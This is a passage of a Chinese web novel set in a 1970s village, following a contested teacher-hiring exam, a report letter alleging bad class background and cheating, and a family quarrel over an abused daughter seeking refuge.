余银一边摇头一边道:“没救了,没救了,真的苦了柳盼娣辛辛苦苦考来的成绩,白白送人了。” 余阿娘也摇着头道:“谁说不是,大伙可想着那大丫能开始享点福了,又叫她娘给拦下来,命苦啊,那孩子。” 说完,她又道:“你不知道那会村里又来了,好像是两个領导,还是别的村队长啥的。王大花去打大丫的时候,那大丫拽着那领到的裤子不撒手,裤子都要给人拽掉了哈哈哈,那男的也怕拽下去了,两手拽着裤腰啊不敢松一点。” 听着余阿娘讲的,余银仿佛都亲眼瞧见了一半,乐了一会儿,又问她娘:“然后呢?然后呢?” 余阿娘也笑的不行,“王大花去拽大丫,还被大丫咬着手不松口,手都给咬出血了。村长让大丫松手,那大丫拽了拽那人的裤子威胁,说不给她做主不松开。” 余银听的津津有味,觉得这一出好戏错过了,还真是有点可惜。 走在后头的游雾州听着,想了下那画面,不由得嘴角抽了抽。 说着走着,就走到了村长家附近,余阿娘想起余阿舅说的,对着游雾州道:“小游,你阿舅让你去村长家一趟。” 游雾州愣了一下,跟他们告别,然后往村长家去了。 此时的村长家,游雾州刚进去就听到了,一个陌生的男声:“他成分有问題,我们还怎么敢收啊,你这不是为难我嘛。” 余阿舅接着道:“老杜啊,我不知道谁跟你说的他成分有什么问題,但要是真问題大了,我怎么敢要这么个女婿。” “我是嫌我家活的太平了,想添点乱啊。” 游雾州刚踏进门就听到了这,他微微眯起眼睛,往里面走进去,“村长,余大队长。” 村长和余阿舅点点头,杜校长和吴老师打量着这个过来的人。 长得好,气质也好,看着不像是下地干活人,但偏偏那身板子高大健硕,瞧着干活力气也不小。 杜校长和吴老师,也有些估摸不出这游雾州,到底是不是因为成分问题,还是说自願下鄉的。 余阿舅见游雾州过来了,拍着他的肩膀,就直接道:“来老杜,你来看看我这女婿的身板子,瞧瞧这胳膊手,他考试前一天都还在地里干活。每日上工从来没偷过懒,就因为我们长得模样好,就非说我们是因为成分下鄉的啊?” 杜校长瞥了一眼吴老师,吴老师开口道:“余大队长,真不是我们要故意找事,确实是接到有人舉报,说游雾州同志,是位成分差的同志,这你也知道成分差意味着什么。” 什么叫成分差,家庭出身为地主富农、资口主口、反口命、坏口子、右口人,成分是最差的。 也是要挂着牌游行检讨的人,现在那地主家的都还时不时被闹上一闹。 学校要是真收了个成分差的同志,那还能安安心心教书吗,那还有安稳日子吗。 当他们一收到舉报信,说这位柳盼娣同志是作弊考上的,她本人连小学都没毕业,而那位游雾州同志是成分差的口口类, 他们再缺老师,也不敢要了,这还是碍于和余阿舅的情面,他们才当面过来问的。 “谁举报的啊?”余阿舅没好气道:“他有没有成分,我能不知道啊,人都是我去接的,上面送回过来的也说过了。” “游雾州同志是自愿报名下乡的。” “自愿什么意思?”余阿舅问杜校长,“老杜你也是老师,你总不能不知道啥意思吧。” “这……”杜校长有些不知道该怎么回复了。 说实话,他们也稍微打听了一下,这个游雾州,确实各方面都不错,也就一个缺点,那就是成分有些问题。 要不然就他这模样下乡,每个成分问题,早被人生吞活拨给吃了带回家。 但却偏偏他娶得人是余阿舅的外甥女,那余阿舅是个什么人,杜校长了解,所以再又听到游雾州是他女婿的时候。 才思索再三,过来当面问一下。 而村长和柳盼娣,都有些震惊,这个游雾州竟然没有成分问题吗? “他当真没有成分问题?”杜校长瞪着余阿舅问他。 第62章 第62章再加试一场考试 “没有。”余阿舅认真道。 他话一说出口,屋子里顿时陷入了沉默。 游雾州有没有问題,余阿舅不可能不知道。 所以当他说没有的时候,村长忍不住看了好几眼余阿舅。 他不否认游雾州的优秀,虽说是余阿舅的女婿,但这不足以让余阿舅赌上余家人,来昧着良心承认。 余阿舅是个聪明人,他敢这么说,必定是确信些什么,那既然游雾州没有成分问題,为什么来村子的时候。 会传出来他有成分问題。 村长不敢细想,他又看了眼余阿舅,只覺得自己以往真小瞧了他。 能从死人堆里爬出来,再到一直平稳地坐着大队长的名头,且还有的往上升。 在沉默好一会儿后。 村长叹了口气,说道:“这个小游同志确实是从大城市来的,但舉報信上写的成分问題,来村子的时候,我们并没有得到这个消息。” 若是单余阿舅说,虽有信服力,但却不足,这再加上村长所说,杜校长和吴老师是彻底放下心来。 余阿舅对于村长的这番话没有反驳,他也算是故意卖他个好人情,就当是还前两天事。 他接着道:“说小游成分问题这个谣言,估计是有人看他不顺眼,故意编造的,咱们也就不过多解释了。总之就咱几个知道,誰也不能往外乱说这回事。” 余阿舅双眸幽幽地盯着柳盼娣,眸底的警告味十足,言下之意说的是誰,大家也都只知道。 柳盼娣也不傻,她在村子想要平稳活下去,还需要靠着余阿舅和村长,自然不可能跟他们对着干。 当即点着头,边作出一个闭緊嘴巴的手势。 余阿舅这才移开眼去,他对着杜校长说,“老杜啊,孩子是靠自己努力考上的,这可不能说不要就不要吧。” 杜校长叹了口气,“那这样,我再重新组织一场考試,让他们再考一次。” 柳盼娣听了眼睛微亮,余阿舅则是有些不赞同,“你来完杨柳村一趟,就决定再考一次,那不就是摆明告诉大家,我们这两个考上的有问题嘛。” 说完,他又道:“再考一次,小游又考上了,别人再舉報他,那成绩还算不算啊。” 杜校长有些哑口无言,不知該如何回答他这个问题。 他们也是慎重,有问题就去查,然后再想办法。 可若是考一次,别人舉報一次,查了没问题,难道就要这样一直重复下去嗎。 对耽误事啊,而且学校也没多久就要开学了。 杜校长有些为难,他眼珠转了转,看向游雾州,“那个,游同志啊,你覺得要不要再考一次,证明清白啊。” 说话间,他一眼都没敢去看余阿舅的脸色。 游雾州知道这事估计可能是冲着他来的,他笑了笑,“考是肯定要考的。” 话音落下,余阿舅就看向他,明显的不满意。 他不暂同考,那杜校长明显就是看出他不好说话,才将矛头对向游雾州,誰知竟然他應了下来。 杜校长对着游雾州,露出一个满意的笑容,还微微抬着下巴,对上余阿舅那沉着的脸。 游雾州小幅度的朝余阿舅摇摇头,接着提议道:“但是换一种考法,大家試講,最后不单以試講的成绩,而是两者合在一起的成绩。毕竟老师不能只看成绩好不好,还要看他们講课如何。” 他又补充道:“至于如何说我的成分问题,如果我考上了,那学习既然要我,就说明没什么问题,要来闹事,可能也是故意的。如果我,考不上的话,那就都不是问题。” 他说的也确实在理,人都考上了,学校也收了,那肯定是没什么问题,那要还来找事。那就是故意跟学校找事,游雾州可能是就是被冠了个无妄之灾。 杜校长看这吴老师点点头,吴老师问柳盼娣,“你必须要考,举报信上说的是你小学没毕业,作弊考上的,你必须要证明。” 柳盼娣眼神躲闪,脑海里闪过不少念头,她不经意地摸了摸乱糟糟的头发,低声道:“我也考的,那就麻烦两位老师了。” “那你们準备一下,就这两天再去考試。”杜校长叮嘱道。 接着就让柳盼娣和游雾州离开了。 倆人刚从堂屋里出来,扬小暑就从后院里过来,上前跟他倆搭话,“游知青,你这是刚来,还是準备离开了。” “盼娣,我爺咋说的,你那老师的工作没事吧。” 他没看到游雾走州什么时候进来,但看柳盼娣面露喜色,才到事情已经解决了。 “哎呀,你爷吐个吐沫是个钉。”柳盼娣呲着牙笑,但因为笑的时候扯到脸上的伤,捂着脸说:“那答应我给我主持公道,肯定没事了。” 扬小暑不由得追问,“盼娣你胆子咋这么大啊,别的就不说了,你还没结婚就拽人杜校长裤子,你还敢要你娘,你是真不打算回家了?” 游雾州原本想直接走的,但又转念一想,余银没看到今天好戏,他还是在听一会吧。 柳盼娣扒拉扒拉自己衣服,轻飘飘地道:“什么叫胆子大啊,她王大花是真想打死我,我那是为了活命的自我防卫,啥都豁得出去。至于还回不回家?那跟十八层地狱似的,那叫家嗎,家不應該是遮风避雨,吃饱穿暖的地方,我这几样都在那地看不着,还尽挨打干活。而且我还是待会回去,绝对是要不死也残。” 此话一出,扬小暑和游雾州的齐刷刷落到柳盼娣身上,神色都有些复杂。 “怎么?”柳盼娣懒洋洋地扫了他倆一眼,嘲弄道:“覺得我离经叛道?这都什么年代了,人只要能活着,什么事做不出来啊。” 她刚才被王大花打的一身上,脸也给扇肿了,痛死她了。那王大花力气不小,这原身整日吃不饱睡不好的,长期营养不良,连还手都没咋还过去。 柳盼娣在心底幽幽地叹了口气。 “再说了,他估计不理解我。”柳盼娣看了眼扬小暑,又转过去看向游雾州道:“你應该会理解我吧,我覺得你定位估计不是搞霸总那套,应该是善解人意那挂的。” 扬小暑摸了摸头,有些搞不明白柳盼娣说的话,游雾州看着柳盼娣的眼神有些微妙,不过他没过多停留。 他面色不该地朝着扬小暑点了下头,“先回去了。” 游雾州走到村长家门口,直接跨步走了出去。 人刚出村长家,抬眼一看,与对面的人对视上,他脚步加快,步伐有些着急朝着那人走过去。 他动作自然地,接过余银手里的扇子挥动,语气亲昵关切:“熱不熱?你怎么在这等我啊。” 余银弯了弯唇,探着头朝村长家的方向看过去,“叫你过去干啥了,是不是因为你老师的事啊?” 整个杨柳村就柳盼娣考上了,还叫游雾州也过去,那两个人一个是农场学校的吴老师,她估摸着另一个就是校长了。 叫他俩都过去,很有可能就是因为老师的事有变。 余银可不想因为柳盼娣的事,让游雾州也没了工作了,他们才刚花了一大笔钱买了自行车呢。 闻言,游雾 州抿了抿唇道:“没事,就是要再加一场试講,看看讲课能力。” 余银一听这话,皱起鼻子,有些不甘心道:“因为柳盼娣,就要再加场试讲?这太公平了吧。” 辛辛苦苦考上的工作,因为其他人的问题,就要再加上一场考试。 她越想越不甘心,扭头就要去村长家,“不行,我要去问问去,凭啥啊,你考试多辛苦啊。” “也不是。”游雾州拉着她,给她扇着风,他解释道:“有人写了举报信,所以才又决定再加试讲。” “什么?”余银不由得声音拔高,她又压低声音,踮起脚往游雾州耳边凑过去,“是不是举报你成分问题了?这个没事吧啊?就只加场试讲就没其他事了吧。” 游雾州微微歪着身子,听着余银说悄悄话,耳边是温熱酥麻的触感,以及她说话时那丝丝缕缕的气息,顺着耳廓一路往里钻,连带着脊背骨都麻了大半。 大太阳照在他身上。让他莫名嘴唇干燥,身体绷緊。 在他发呆的瞬间,余银又在他耳边道:“你听见我说话没啊,游雾州。” 游雾州看着余银的目光宁静幽深,喉结微微滚动。 他顿了两秒,而后掩饰般轻咳一下,“就只加试讲,就没别的事了,别担心。” 余银这才放下踮起的脚尖,在游雾州旁边走着,“那就行,加试讲就加试讲吧,反正你肯定也可以的。” 她觉得,游雾州想做什么事,好像就没什么事做不成的,做什么也都游刃有余的,就觉得没有能难倒他的事情。 就算是加了试讲,他肯定也能考得最好。 老师这个工作还会是他的。 游雾州摸了摸耳朵,说道:“我都不知道能不能行,你怎觉得我能行啊。” 余银笑道:“我娘和阿舅看人对准啊,他俩说你有能耐,肯定能行啊。” “那你也觉得嗎?”游雾州问她。 “当然了啊。”余银觉得他问的是废话,下意识地说:“你可是游雾州啊。” 他似是不解:“是游雾州怎么了?” “游雾州无所不能啊。” 听到这,游雾州嘴角露出一丝不易察觉的地微笑。 他抬头望了望那过于刺眼的太阳,他想,他一定要是无所不能吗。 他并非完人,也有很多不足,许多事情他也未曾涉足过。 如果他做不到无所不能,余银会怎么看,怎么想。 游雾州很想问问余银,他张了张口,有些欲言难止。 余银看着游雾州,发现她说完这句话后,这男人有些不对劲,是太阳太大的原因吗。 还是他本来就没休息好,又累了一天的原因。 “走吧,快回家去,太阳晒死人了。”余银扯了扯他的胳膊,“真熱啊,这个天。” 她边说,边用手做扇子扇着风。 余银没提醒游雾州手里的扇子风小了,只是她热的实在有些难受。 游雾州立马手上拿着的扇子更加使劲,余银对这大风很是满意,眼睛都微微眯了起来。 她走在里侧,挨着墙走,太阳只能晒到她的一小半身子,偶尔照在她的半张侧脸上,脸被热的泛红,红艳艳的唇瓣一张一合,正嘟囔着这天气太热了。 游雾州笑着摇了摇头,眼睛里也带着满满的笑意。 他怎么有种这个天气倒也没那么热,有种刚刚好的错觉- 另一边。 柳盼娣和扬小暑去找江窈,柳盼娣现在肯定是不能回家的,她也没地方住,只能去知青点和江窈住。 但柳盼娣转念一想,她停下脚步,眸底骤然一亮,对扬小暑道:“王大花知道我和江窈姐关系好,这时候去找江窈姐,岂不是害了她啊。” “什么意思?”扬小暑也停下脚步,问她:“你不是要去找江知青住,不然怕你娘揍你。” 他搞不太明白柳盼娣。 “你真——”柳盼娣正想骂他,话又在嘴里拐了个弯,笑眯眯地对他道:“你真是问了个好问题,你觉得我跟江窈姐关系好,这个事,知道的人多吗?” 扬小暑觉得刚才柳盼娣是想骂他,因为她经常骂他,但这次不知道什么原因,竟然将要骂的话咽了回去。 而且,他觉得柳盼娣虽然在对他笑,但那笑容,怎么看,都觉得十分不对劲。 难道是因为她的脸被打肿,然后头发衣服乱乱糟糟的缘故,柳盼娣笑起来虽然真诚,但有些狰狞。 扬小暑不明白柳盼娣的脑子,怎么长得,一会聪明一会笨的,她问跟江知青的关系好,知道的多不多干啥。 但他试探的说了句:“村里人基本上都知道吧?” 柳盼娣笑了,“嗯,真聪明啊。那我再问你啊,村里人都知道我跟江窈关系好,你如果有事需要找我,会不会去知青点问一问江窈姐。” “我不会找你。”扬小暑狐疑地看着柳盼娣,义正言辞的说:“咱俩是一个族谱的,我还是你堂哥,而且,我心里只有江知青。” 他的担心不是没有,他没有父母,只有个爺爺,还有两个姑姑,都对他很好,他爺爷还是村长,他长得也不差,还能干活,不少人家姑娘,都想说给他。 扬小暑怕柳盼娣看上他了,再做出什么事来,他也被赖上就完蛋了,他心里只有江知青。 他这么说完,双手抱着身子緊了紧,做出了十足的防备,生怕柳盼娣怎么着他了。 柳盼娣没忍住翻了个白眼,上下打量着他,嗤笑道:“你不是我喜欢的类型,放心吧,我就是嫁不出去,也不找你这样的,毕竟那是□□,堂哥。” 她最后一句话咬的很重,嘲讽意味十足。还有他那上下打量的眼神,仿佛扬小暑他是地里的随处可见的苋菜,对么常见,多么不吸引人。 扬小暑自信心有些受挫,他又羞又恼,“那你到底要说啥,赶紧说,等会有人看见咱俩站一块说话,在传一些没必要的闲话。” 柳盼娣也不想跟他废话,每次跟他说话,都像对牛弹琴,或者秀才遇到兵,啥话都说不清。 主要是跟他说个话,要把话跟吃的馍一样,掰碎了,再嚼嚼放他嘴里才行。 她没好气道:“我待会要是去找江窈姐,那有可能王大花就带着人在那等着我,毕竟都知道我跟江窈姐关系,我去找她的话,万一再打起来,伤到你的心里人江知青怎么办。” “你也知道真要闹起来,誰还顾得上谁啊。” 扬小暑听到这,立马就急了,“那你不准去找江知青,你要是敢找江知青连累她受伤,我就,我就——” “你就怎么样啊?”柳盼娣懒洋洋道:“你连放个狠话都不会放,还能把我怎样。” “我是不想跟你一般见识,但我爷是村长,你肯定吃不了兜着走的。”扬小暑气结。 柳盼娣翻了个白眼,嗤笑评价道。“哎呦,好怕怕啊,你爷爷是村长呢,你爷爷真厉害,那你是什么呀。” 不等扬小暑回答,她冷嘲热讽地说道:“你爷还不知道这举报信谁写的吧,今这一出戏都是谁摆的戏台子,又是谁选的唱戏人,咱都是一根绳上的蚂蚱,谁也不能排外谁的,知道吗,堂哥。” 扬小暑这下反应迅速了,他握紧拳头,声音从牙缝里挤出来,“你什么意思,到底想要干嘛?” “这你怎么反应这么快我说的话了。”柳盼娣呵呵一笑,“我没想干嘛,就是不想被王大花抓到挨打这么简单,所以我不能去找江窈姐,你在你家给我找个屋住,你爷家,王大花不敢乱来。” 柳盼娣又不傻,她本来也想的是直接去江窈那住两天,等她考上老师了,到时候就可以住宿舍,或者租个房子住。 但还好她脑子转得快,反应的也够快,差点就忘了,她都下意识地准备去知青点找江窈住。那王大花肯定也会去那逮她。 真是差点就被逮到了呢,还好她够聪明。 而且她住村长家,有村长在,王大花肯定也不敢乱来,再说,也没人会想到她敢住村长家。 “你不能住我家。”扬小暑嘴比脑子转得快,直接就拒绝了,“你,你还没议亲,怎么能随随便便住我家,不行,你不能住。” 柳盼娣不能住他家,那像什么样子。 传出去的话,他怎么跟江知青解释,本来江知青就对自己没那么热络,要是在因为这彻底跟自己划清界限怎么办。 扬小暑 可不想因为柳盼娣也坏了名声,到时候娶不来媳妇。 柳盼娣笑了,“你说不住就不住?你觉得你有拒绝的权利吗,只要你不怕我豁得出去,再连累你的江知青。” 扬小暑脸色铁青,再一次刷新了他对柳盼娣的认知。 江知青挺好一个人,怎么跟这么恶毒的人关系好。 他不明白……- 等回到家,余阿娘见他们看起来心情不像不好的样子,就问他俩:“是来通知小游啥时候去学校的吗?” 余银想了想,跟余阿娘说:“算是,就是学校那边又新增了一场试讲的考试,过两天还要再考一次,过来通知他一下。” 余阿娘不解:“咋不都考完确定了,怎么又新加一个考试,这么麻烦呢。” 这都不是确定了,怎么又加考试,不会是出啥事才加的吧。 她皱着眉,有些担忧的问游雾州,“不会是出啥事了吧?” 余银摇头,她解释道:“那是老师,又不是咱村里的保管员,整天开个门记一下拿的农具。他们试讲就是看看讲课啥样,不然招上去的老师,只会写字,不会讲课,那不就是跟种地里的庄稼一样,只知道栽苗,不知道薅草浇地打药,白瞎了。” 余阿娘没回答,她用探究的目光看着余银和游雾州。 最后,仔细想了想余银的话,挥手道:“行吧,再考一次就再考一次吧,小游肯定能行。” 她话一落,余银心里悄悄松了口气,说道:“厨房里的冰棍你们吃没,是不是都化了啊,没吃赶紧吃吧。” “吃了吃了,你那会不是说了一次嘛。”余阿娘笑道:“行了,你俩回屋少睡一会吧,去县城这一趟估计也累了,反正今不去上工,都睡会吧。” 余阿娘都这样说了,余银和游雾州回到了自己的屋子里。 游雾州刚要关上门,余银鞋都要脱了,她走到门口问游雾州,“你吃不吃黄瓜?” 余银中午没吃多少东西,那一碗饺子就吃了几个,喝了点汤,这会想吃东西,估计也是饿了。 “我去摘吧。”游雾州转过身子,又转回来问她,“还有其他的想吃的东西没?” 余银想了想,摇头道:“没有了,你去看水里有泡着的黄瓜没,地里的晒的热乎乎,我不想吃热的。” “要是没有,我给你摘了,去井里现打水给你泡了。”游雾州说完,把扇子给了余银。 “你不用那么麻烦,没有就算了,天很热,你别跑中暑了啊。”余银从门口探出头说道。 游雾州笑着点头,“我知道,你快去躺着吧,要是没有,你就忍忍,晚一会在吃。” 余银其实不想麻烦游雾州,但他自己要去的,或许是他也想吃吧。 她这么想着。 第63章 第63章都是一家的 要加試的消息放出来了,参加考試的那些知青又瞬间来了些信心。 也幸好这几天不怎么忙,要不然,真让知青点的人去幹活,人去了,但心还落在别处。 虽然加試的这个消息争议比较多,传的各种各样的说法都有,但是农场学校对外放出的原因是——老师还是要看看講课表现的。 考试当天,因为他们有自行車,游雾州没有起的特别早,他还和往常一样的时间起来。 这次他不是一个人,余阿娘把余银也叫起来,跟着游雾州一起去。 “你也跟着去看看,还能帮小游看着車,而且去的人还有咱村里的,万一誰要是想坐咱車,小游咋拒绝,让这个坐了就不让那个坐。你跟着去,还能占着后座。” 余银嫌天热,但他们村去考试的人也都是知青点的人,她才不想让那群人的誰坐她家自行車。 想到这,余银就跟着游雾州一起去学校。 村里人也这才发现,余家買了自行车,这整个杨柳村,还没有一辆自行车,他们心里都有些羡慕。 但毕竟是大队长家,買个自行车倒也正常。 “这自行车真气派啊,这是啥子牌的车啊,看着着真好看。” “凤凰牌吧,你看那样气派样子。” “好看的我也想買个自行车了,有个车多放便啊,去哪都骑车,不用走路了。” “你想买就能买啊,你以为你家里也有个大队长的舅和部队里的哥啊。” “那余金也没个媳婦,也没个对象,他这一年下来也不买啥东西,可攒了不少钱,他今年多大了啊?” “我家狗蛋比余金小两岁,今年都快三十了,那余金,我勒亲娘啊,他有三十了吧,还没对象呢,春花不着急啊?” “咋不急,每次余金回来,春花嘴角都要上火起泡。” “那咋回事啊,这么大人了,还没个对象,没人给他说还是咋地,余金长得也好啊,也能幹,家里也不穷,就年龄稍微大了点。” “估计是有什么不可告人的隐疾吧。”王大花牙都要酸掉了,她故意这样说道。 “总不能吧,我前段时间看着他还挺正常的。” “那要不然真大年纪了,就他还打着光棍。”王大花撇嘴道:“誰知道哪都正常,条件又好,为啥相不来对象。” 她本来就因为王桂香,想压余阿舅余家一头,可偏偏今天让她看见了,余家又买了辆凤凰牌自行车。 真是有够显摆的,上次那赵家人怎么这么不给力,连个余银都抢不走。 白费她那么多力气,还去她们村报信了。 一点用都没有。 “大牛媳婦,你可别再让春花听到你这么说她儿子。”一个上了年龄的老婆子,看着王大花说:“她那儿子女儿护多紧,别人不知道,你上次还不知道啊。那余金有没有毛病咱不知道,春花前两天还在跟我打听适龄姑娘,你说她啥意思啊。” 那话摆明了就再说王大花,上次因为碎嘴跟余银和余阿娘打起来的事。人家女儿都护成这样了,更别说儿子了。 那人说完这话,不知道誰没忍住,“扑哧”笑了起来,然后一群人都跟着笑起来。 王大花表情讪讪地闭了嘴,一張脸被笑得涨红,她本来找不到柳盼娣出气,心里就憋着火。 但又碍于不知道谁起的头笑话她,也找不到发泄的,转脸就见旁边,她家来娣正在出神。 王大花拿着手里的针就扎了上去,“幹个活都想东想西的,你个贱蹄子,我让你想,让你想。” 她拿着那针,往柳来娣身上扎着,小姑娘疼的想哭,但又害怕王大花看见她哭,打的更厉害,咬着唇憋着眼泪,看着很是心疼人。 “幹啥呢,大花,孩子就愣个神,你至于拿着针扎吗。” “行了啊,大花,过分了啊。” “就是,你自己心里有气,不能往孩子身上发啊。” “快给她拉开,真是心狠。” 王大花被拉开,对着她们大吼道:“我管教孩子关你们什么事,我心狠?我过分?那你们谁心善谁给她带回家 吧,来啊,正好我也不想管她吃,管她住了。” “谁想带走,谁就把她带走吧。” 现在这年头,家里的粮食都不够自己吃的,谁能再多養个張口吃饭的,没人敢上前去把来娣拉走。 “怎么,没人带走她?”王大花不屑道:“養不起就闭嘴,我生她养她,管教孩子有你们什么事啊。” 她说完,扭个头离开了,刚走一步,又回过头对柳来娣说:“余家有钱,刚好那余金也没娶来媳婦,你去她家吧,那余春花正好对你也不差。” 说完,她有意无意地看了柳来娣几眼,然后笑了起来离开。 柳来娣躺在地上打着哆嗦,等王大花走后,被人从地上拽起来,给她拍了拍身上的灰。 “来娣,你可别听你娘说的,春花心好,但余金要是不愿你后半辈子就完了。” “谁家孩子投胎到她家,真是倒了八辈子霉。” “可不是,有她这个当那娘的,真是不如没有。” “要我说昨天那盼娣就应该咬死她,这王大花真是没一点当娘的样子。”- 学校那边,游雾州去里面考试,余银就在外面的等着他。 这次考试的时间也不长,就只用每个人考试前,抽一个科目进去講课。 游雾州抽到第十个,拍他后面一点的是是柳盼娣和江窈,等他講完出来,柳盼娣拦着他。 游雾州皺着眉,他不想耽误时间,这柳盼娣最好是有事。 “你抽的什么科目,难不难?”柳盼娣有些紧張地问他。 游雾州薄唇轻启,语速很快吐出两个字,边说边走,感覺再多说一个字,就耽误他什么。 他虽然说得很快,但柳盼娣还是听到了,那两个字是——还行。 柳盼娣不由得笑了笑,碰了一下旁边的江窈,低声道:“哎,你说是因为他的男主角光环,还是难度真还行啊。” 江窈收回目光,看着柳盼娣道:“游雾州本来就厉害,等到高考,他给咱们复习,就能考上很好的大学。” 除了系统说的,江窈自己也是从心底覺得游雾州脑子聪明,是个真的很厉害的人。 不仅学习好,做什么都没见他犯过难,他来知青点的第一天,那时候天正冷,都没见他有一点不自在。 他在什么地方都能活得很好,做什么事,也都能成功。 这次老师,他的时间基本上都给了知青点,但他还是考上了。 游雾州真的很厉害啊。 柳盼娣见江窈一双星星眼,就知道她在想人游雾州,她没忍住小声道:“他现在結婚了,当小三是不道德的,破坏别人家庭,是要被拉去批判的。” “虽然你是女主角,但你能不能不喜欢他啊,等他真离婚了,你再喜欢他呗。” 她是真不理解,游雾州和余银看着感情不差的样子,怎么可能会说离婚就离婚,然后再报复余家,和江窈考上大学在一起。 如果,真的按照江窈告诉她的发生了,游雾州是一直在余家蛰伏,那些都是假象。 那游雾州这样的男人,她是一万个不建议江窈去接触的。 这样的男人会忍,会装,太聪明了,说实话,江窈脑子还没她转得快,真要在一起,那游雾州的脑子,把江窈卖了,江窈还要把卖的钱,加上卖了之后她自己赚的钱,都给游雾州。 哎,她瞬间有些覺得余银真可怜啊。 余银更是个脑子看起来聪明,敲开一看,嚯——是个十成十的恋爱脑。 倆人都没救了啊,柳盼娣想。 而十成十的恋爱脑余银,以为还要在等一会呢,結果就看到了从学校里出来的游雾州。 余银看着他,有些惊讶道:“这么快吗?就考完了啊?” “我抽的排名靠前,所以考的快。”游雾州解释道,他问余银,“等久了吗?” “没有,没有。”余银摆手道:“没见我说你这么快嘛,我还以为要好一会儿,起码到中午去了。” 她说完,眨了眨眼问他,“怎么样考的,你講完课那老师校长们什么反应啊。” 虽然对游雾州很有信心,但是还忍不住好奇心,问上一问。 游雾州推着车子,语气淡定:“他们没让我讲完,就让我离开了。” 余银仿佛不可置信,她愣了两秒,以为是自己幻听了,游雾州怎么能如此淡定。 “啊?课都没讲完就让你离开了?”余银皺着脸,有些不明白,“为啥不让你讲完,不讲完怎么知道你什么水平啊,怎么这样啊他们。” 她有些生气,对于学校这样的做法,她不理解,也觉得不该这样。 “要不咱们回家跟阿舅说一声,让他去问问学校什么情况。”余银说道。 “我觉得也有可能是挺满意了,就耽误时间了。”游雾州这样说的,毕竟那个杜校长说可以了的时候,脸上的表情看着挺满意。 其他的几个老师,也都挺满意的表情。 至于他到底令人满意没,他也不知道,但具体結果到底是什么,还要等明天才知道。 余银听完,哼笑一声,“游雾州,难怪刚才那么淡定,你干嘛不早说啊,我还以为你被人举报,学校不敢要你,故意不让你讲完呢。” 她毫不客气地拍了游雾州后背一下,那男人后背也结实的厉害,余银拍他那一下,自己掌心也回了不少力。 她扯了扯唇角,眼珠往上转着翻了个白眼。 游雾州轻笑,他解释道:“不过,我也不知道他们到底怎么想的。” “唉,算了算了。”余银摆手,她停下脚步道:“管他们怎么想的,已经考完了,就不想那么多了,咱们回家吧。” 游雾州扶稳车子,微微倾斜着让余银坐上去,两个人骑着车打道回家- 对于这次的成绩,余阿舅也防止再出什么意外,他在村口那等着游雾州和余银回来,探了探口风,就骑着车去学校了。 余阿舅这边人刚走,那边余银和游雾州刚回到家里,就见院子里围了几个人。 这是什么情况?余银扭头看向游雾州。 游雾州也是跟她一起回来的,自然也不知道发生了什么,他抬了抬下巴,“看看就知道了。” 余银也没听到余阿娘或者王桂香的声音,她倒也没那么着急,不慌不忙地慢慢靠近。 也就是这时,有人看到他倆进来,喊了句:“余银回来了。” 围观的人看见余银和游雾州回来了,纷纷让开路,空出一个圈来。 余银这才看到散开的院子中间,柳来娣抱着余阿娘腿不撒,哭的稀里哗啦,而余阿娘,则皱着眉头,一脸为难。 周围人怕余银不知道咋回事,七嘴八舌地极其热情跟她讲。 余银这个人听一嘴,那个人听一嘴,虽然每个人说的都有些不一样,但大概都是差不多。 原来是王大花嘴余金还没结婚,有什么难言之隐,然后就被人呛了回去,觉得没面子。王大花心里有气没地方撒,正巧柳来娣在她旁边,她就拿着针扎柳来娣,还说不想养柳来娣了,正好余金没媳婦,让柳来娣来余家,给余金当媳妇。 弄清事情的游雾州皱起了眉头,余银则是瞪大了眼睛,忍不住看着地上的柳来娣,上下打量着她。 她哥是年纪大一点,但不至于眼瞎吧。 纵使柳来娣是年轻些,可她长得也就那样,身材也干干瘦瘦的,倒也能说一个还不错的对象啊。 但那个人不可能是她哥余金啊,不是她自吹自擂,她哥余金除了因为是在部队,一年回来不了几次,那就年纪稍微大一点,其他的全是优点。 而且他那年纪也不是特别大,不结婚不找对象,也不是因为有难言之隐,压根儿就是他自己不想。 想说亲给余金的年轻姑娘,也不少的,他们家也不是出不起彩礼钱,这柳来娣怎么就觉得,她能成为余银嫂子呢? “你不会也得疯病了吧。”余银没忍住这样说了一句。 柳来娣抱着余阿娘的胳膊一頓,她哭道:“余银姐,我也是走投无路了,我真的啥都能干,彩礼也不要,就给我口饭吃就行了,余金哥往后想再娶,我一定立马腾位置。” “我瞅着这太阳不是正大着呢嘛。”余银望了望天,微啧一声:“我家也不是避难所,我娘也不是烂好心的大善人啊,我们一家也更都不是傻子呀。” 柳来娣張了张唇,嗫嚅道:“可我真的没有别的法子了,余银姐。” 她是真的没有别的办法了,她娘走之前给她说的这个法子,不是让她听一听的。 柳来娣也不明白,为什么她娘让她这么做,但比起她的命来,脸皮什么的,她也压根儿就没有。 本来她娘因为大姐柳盼娣,心气就不顺,也看她们几个姐妹不顺眼,这要是再没按照她说的,赖进余家,她恐怕真活不了了。 余银不理解,怎么她们柳家,一个二个的,都觉得她娘能收留她们,还妄想给她当嫂子,真是做梦。 她没好气道:“妇联是 摆设吗?还是我们家是妇联,你有困难找组织解决,找我娘让她给你说给我哥就能解决了?你做梦自己在梦里美就得了,还真往我家来做梦,敢情这组织都姓柳啊,都是你家的,想干啥干啥。” “你娘是个拎不清的,你也没脑子吗,你们这样来鬧一通,就是打着真赖不上也没事,以后也让我哥余金,因为这事娶不来媳妇的恶毒想法,忒不要脸了你们。我今天话就放这了,我哥要因为她王大花,名声有一点不好,我隔三差五也去柳家鬧,还有她那倆宝贝儿子,我还没收拾他倆呢。” 余银小嘴一张一合,说起来一套一套的,围观的人都听愣了,都想着王大花最多随口一说,谁知道那柳来娣当真了,谁都没往柳来娣这么一鬧,人余金以后还咋说亲呢。 余阿娘原本还对柳来娣有些心疼,听了余银这话,原来打的主意这么恶毒,她頓时恼了。 她把腿从柳来娣胳膊里,使劲一抽,撸了撸胳膊,咬牙切齿道:“你个狗娘养的王大花,敢坏俺家余金名声,我今不撕烂你这张嘴,我让你以后再瞎说。” “等一下。”余银喊住余阿娘。 余阿娘气势汹汹地就要往外冲,脚步一頓,看着余银,余银从院子里拿了两根粗的棍子,递给她娘。 她笑眯眯地说:“上次她不长记性,咱俩这次拿这个揍她,看她王大花还长不长记性,能不能管住那张烂嘴。” 看着余银这一举动,围观的人顿时倒吸一口凉气,不禁在心里暗自庆幸,幸好没说她家难听的话,让听到了。 游雾州看这架势,额角青筋突突直跳,他也很想让王大花闭上嘴,但余银和余阿娘要是拿着棍子去,不管输赢,没理的都是他们。 